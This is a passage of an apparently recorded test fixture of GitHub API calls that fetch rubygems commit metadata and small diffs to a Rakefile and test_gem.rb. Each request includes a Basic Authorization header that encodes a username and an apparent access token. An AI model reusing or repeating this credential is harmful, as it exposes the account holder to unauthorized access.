%r[#{Hoe::DEFAULT_CONFIG[\"exclude\"]}|\\./bundler/(?!lib|man|exe|[^/]+\\.md)]ox\n+Hoe::DEFAULT_CONFIG[\"exclude\"] = %r[#{Hoe::DEFAULT_CONFIG[\"exclude\"]}|\\./bundler/(?!lib|man|exe|[^/]+\\.md)|doc/]ox\n \n v = hoe.version\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:06 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/1bfc87ab3dda36665680f32baa98c39058c57707 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:07 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4439' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"b70bb52ad27aa98264b8096c38ed06f2" Last-Modified: - Sun, 08 Oct 2017 22:46:24 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.047861' X-Github-Request-Id: - C592:4D96:9719E7:13A409B:5A50E476 body: encoding: ASCII-8BIT string: '{"sha":"1bfc87ab3dda36665680f32baa98c39058c57707","commit":{"author":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-10-08T22:46:24Z"},"committer":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-10-08T22:46:24Z"},"message":"do not include the doc folder in the `update_manifest` task.","tree":{"sha":"f27ed41722b65fb8e448e7a68aa33e3cf622dce2","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f27ed41722b65fb8e448e7a68aa33e3cf622dce2"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/1bfc87ab3dda36665680f32baa98c39058c57707","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/1bfc87ab3dda36665680f32baa98c39058c57707","html_url":"https://github.com/rubygems/rubygems/commit/1bfc87ab3dda36665680f32baa98c39058c57707","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/1bfc87ab3dda36665680f32baa98c39058c57707/comments","author":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"committer":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"parents":[{"sha":"688fb7e83c13c3fe7c2bb03c49a2db4c82852aee","url":"https://api.github.com/repos/rubygems/rubygems/commits/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee","html_url":"https://github.com/rubygems/rubygems/commit/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"0e9547a2ba81db1f54ad21ac0fb9f7c554c61bde","filename":"Rakefile","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/1bfc87ab3dda36665680f32baa98c39058c57707/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/1bfc87ab3dda36665680f32baa98c39058c57707/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=1bfc87ab3dda36665680f32baa98c39058c57707","patch":"@@ -95,7 +95,7 @@ Hoe::Package.instance_method(:install_gem).tap do |existing_install_gem|\n end\n end\n \n-Hoe::DEFAULT_CONFIG[\"exclude\"] = %r[#{Hoe::DEFAULT_CONFIG[\"exclude\"]}|\\./bundler/(?!lib|man|exe|[^/]+\\.md)]ox\n+Hoe::DEFAULT_CONFIG[\"exclude\"] = %r[#{Hoe::DEFAULT_CONFIG[\"exclude\"]}|\\./bundler/(?!lib|man|exe|[^/]+\\.md)|doc/]ox\n \n v = hoe.version\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:07 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:07 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4438' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"53308d04ad61d908e1541879a66373cc" Last-Modified: - Sat, 07 Oct 2017 10:31:59 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.053429' X-Github-Request-Id: - A2C4:4D95:F483AA:1C842A1:5A50E477 body: encoding: ASCII-8BIT string: '{"sha":"688fb7e83c13c3fe7c2bb03c49a2db4c82852aee","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-07T10:31:59Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-07T10:31:59Z"},"message":"Auto merge of #2029 - hsbt:no-more-ubygems-2, r=hsbt\n\nMore rename ubygems.rb.\n\nFollow up 4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","tree":{"sha":"4fff366cf1e6810ee6111b4e77e42aee78768730","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4fff366cf1e6810ee6111b4e77e42aee78768730"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee","html_url":"https://github.com/rubygems/rubygems/commit/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","url":"https://api.github.com/repos/rubygems/rubygems/commits/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","html_url":"https://github.com/rubygems/rubygems/commit/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5"},{"sha":"267de727182339654d5233955f46d7f8aaeddebf","url":"https://api.github.com/repos/rubygems/rubygems/commits/267de727182339654d5233955f46d7f8aaeddebf","html_url":"https://github.com/rubygems/rubygems/commit/267de727182339654d5233955f46d7f8aaeddebf"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"2ec7044d7a2aa20da6727dc12023d9d922465135","filename":"test/rubygems/test_gem.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=688fb7e83c13c3fe7c2bb03c49a2db4c82852aee","patch":"@@ -1552,7 +1552,7 @@ def test_looks_for_gemdeps_files_automatically_on_start_in_parent_dir\n \n path = File.join @tempdir, \"gem.deps.rb\"\n cmd = [Gem.ruby.dup.untaint, \"-Csub1\", \"-I#{LIB_PATH.untaint}\",\n- \"-I#{BUNDLER_LIB_PATH.untaint}\", \"-rubygems\"]\n+ \"-I#{BUNDLER_LIB_PATH.untaint}\", \"-rrubygems\"]\n if RUBY_VERSION < ''1.9''\n cmd << \"-e ''puts Gem.loaded_specs.values.map(&:full_name).sort''\"\n cmd = cmd.join('' '')"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:07 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/267de727182339654d5233955f46d7f8aaeddebf body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:07 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4437' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"9f6fbad180f527ff428b304ff3cec917" Last-Modified: - Sat, 07 Oct 2017 09:50:22 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.065264' X-Github-Request-Id: - A2C6:4D95:F483BE:1C842D1:5A50E477 body: encoding: ASCII-8BIT string: '{"sha":"267de727182339654d5233955f46d7f8aaeddebf","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-07T09:50:22Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-07T09:50:22Z"},"message":"More rename ubygems.rb.\n\n Follow up 4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","tree":{"sha":"4fff366cf1e6810ee6111b4e77e42aee78768730","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4fff366cf1e6810ee6111b4e77e42aee78768730"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/267de727182339654d5233955f46d7f8aaeddebf","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlnYo3QACgkQ+c8TQXJk\n+sLO4Qf/U031d9c1r26Z2HIrYGD/PZ+28UiLZy68Ws0gMrZocXanLkr/y8Fz/+/Y\nL5BA4eX7cTJzj/D1BYojHjJj4GF+dWuTNWaYehRXg0nlYGJ0z07HTw0Hl5T03BmV\nIEbAcqHmefvcyusJMJvBROkq5cAGBo7ahp1lDisUDGCVBDhRWM8lRjNylpeWY0KA\npMSvOr5JHVkkeGneLv1DmDkN5P7pshQXABEFD0QLgwHwELkJkNAVN+JSH3+ddBjj\noe1M7NStsirtMaKlmEfxexEkFQzwpKu/ALiynK2q+M7kSvqZPOgBXgCFb+WSwe6f\ndwS5MYhqZK6OhNQO2NzqWRou6RkqKg==\n=KmhR\n-----END PGP SIGNATURE-----","payload":"tree 4fff366cf1e6810ee6111b4e77e42aee78768730\nparent 4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5\nauthor SHIBATA Hiroshi 1507369822 +0900\ncommitter SHIBATA Hiroshi 1507369822 +0900\n\nMore rename ubygems.rb.\n\n Follow up 4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/267de727182339654d5233955f46d7f8aaeddebf","html_url":"https://github.com/rubygems/rubygems/commit/267de727182339654d5233955f46d7f8aaeddebf","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/267de727182339654d5233955f46d7f8aaeddebf/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","url":"https://api.github.com/repos/rubygems/rubygems/commits/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","html_url":"https://github.com/rubygems/rubygems/commit/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"2ec7044d7a2aa20da6727dc12023d9d922465135","filename":"test/rubygems/test_gem.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/267de727182339654d5233955f46d7f8aaeddebf/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/267de727182339654d5233955f46d7f8aaeddebf/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=267de727182339654d5233955f46d7f8aaeddebf","patch":"@@ -1552,7 +1552,7 @@ def test_looks_for_gemdeps_files_automatically_on_start_in_parent_dir\n \n path = File.join @tempdir, \"gem.deps.rb\"\n cmd = [Gem.ruby.dup.untaint, \"-Csub1\", \"-I#{LIB_PATH.untaint}\",\n- \"-I#{BUNDLER_LIB_PATH.untaint}\", \"-rubygems\"]\n+ \"-I#{BUNDLER_LIB_PATH.untaint}\", \"-rrubygems\"]\n if RUBY_VERSION < ''1.9''\n cmd << \"-e ''puts Gem.loaded_specs.values.map(&:full_name).sort''\"\n cmd = cmd.join('' '')"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:07 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:07 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4436' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"dfd56a35937c4862a78e595d58641bbe" Last-Modified: - Sat, 07 Oct 2017 05:56:44 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045856' X-Github-Request-Id: - A2C8:4D96:971A1A:13A40FA:5A50E477 body: encoding: ASCII-8BIT string: '{"sha":"4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-07T05:56:44Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-07T05:56:44Z"},"message":"Auto merge of #2028 - hsbt:no-more-ubygems, r=hsbt\n\nubygems.rb is unavailable on Ruby 2.5\n\nFollow up with https://github.com/rubygems/rubygems/pull/2027","tree":{"sha":"3e1b90a1dd901ef9a5c29e47ebe27bde381e723c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3e1b90a1dd901ef9a5c29e47ebe27bde381e723c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","html_url":"https://github.com/rubygems/rubygems/commit/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"40d554dd33e94c3968cd335da6283785d5121bdc","url":"https://api.github.com/repos/rubygems/rubygems/commits/40d554dd33e94c3968cd335da6283785d5121bdc","html_url":"https://github.com/rubygems/rubygems/commit/40d554dd33e94c3968cd335da6283785d5121bdc"},{"sha":"77fc5360b7c259fb1c22a56e33e20f0250dbaeb4","url":"https://api.github.com/repos/rubygems/rubygems/commits/77fc5360b7c259fb1c22a56e33e20f0250dbaeb4","html_url":"https://github.com/rubygems/rubygems/commit/77fc5360b7c259fb1c22a56e33e20f0250dbaeb4"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"ccb4929a930f568b8473ae994845139e760b24ca","filename":"test/rubygems/test_gem.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","patch":"@@ -1509,7 +1509,7 @@ def test_looks_for_gemdeps_files_automatically_on_start\n \n path = File.join @tempdir, \"gem.deps.rb\"\n cmd = [Gem.ruby.dup.untaint, \"-I#{LIB_PATH.untaint}\",\n- \"-I#{BUNDLER_LIB_PATH.untaint}\", \"-rubygems\"]\n+ \"-I#{BUNDLER_LIB_PATH.untaint}\", \"-rrubygems\"]\n if RUBY_VERSION < ''1.9''\n cmd << \"-e ''puts Gem.loaded_specs.values.map(&:full_name).sort''\"\n cmd = cmd.join('' '')"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:07 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/77fc5360b7c259fb1c22a56e33e20f0250dbaeb4 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:07 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4435' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"909efb992fdd57f135edc94b2115cd2b" Last-Modified: - Sat, 07 Oct 2017 05:18:58 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.046365' X-Github-Request-Id: - A2CA:4D97:903A72:1C4800E:5A50E477 body: encoding: ASCII-8BIT string: '{"sha":"77fc5360b7c259fb1c22a56e33e20f0250dbaeb4","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-07T05:18:58Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-07T05:18:58Z"},"message":"ubygems.rb is unavailable on Ruby 2.5","tree":{"sha":"3e1b90a1dd901ef9a5c29e47ebe27bde381e723c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3e1b90a1dd901ef9a5c29e47ebe27bde381e723c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/77fc5360b7c259fb1c22a56e33e20f0250dbaeb4","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlnYY8IACgkQ+c8TQXJk\n+sK4xgf/Wh9kpktYWN+vjaFeeCGIJFP4D5zuYJ4h2DRB7YTL1Bf1df8KzK3EGI2P\n/8hA4zhHCDfLu1HiSK7YP3RUbfCXwMgix5GIIAp4OVHYkRu5Igy36HkIlv6NT5KR\nT5rocs8jgw27uzkHKvfpNMgYDRynLJh8VqB4K9RHvCSn0Dl2YBwUZMKYWzEEinLA\nATI7GbT+KMhgv6ak79nKkQrbVEUr707Q/1XSosblNF0bp1BKg4WaUc3prl8sxz9f\ngqPu3HVxZTG5bYnRWkJjoIDdulVlA4tB8Ez9IisfVSrGD4/4+dCZ6s9FSqDDmPj/\nynhfs+kkGzsgVEd5yCmjHPeCZAzI0A==\n=bLSF\n-----END PGP SIGNATURE-----","payload":"tree 3e1b90a1dd901ef9a5c29e47ebe27bde381e723c\nparent 40d554dd33e94c3968cd335da6283785d5121bdc\nauthor SHIBATA Hiroshi 1507353538 +0900\ncommitter SHIBATA Hiroshi 1507353538 +0900\n\nubygems.rb is unavailable on Ruby 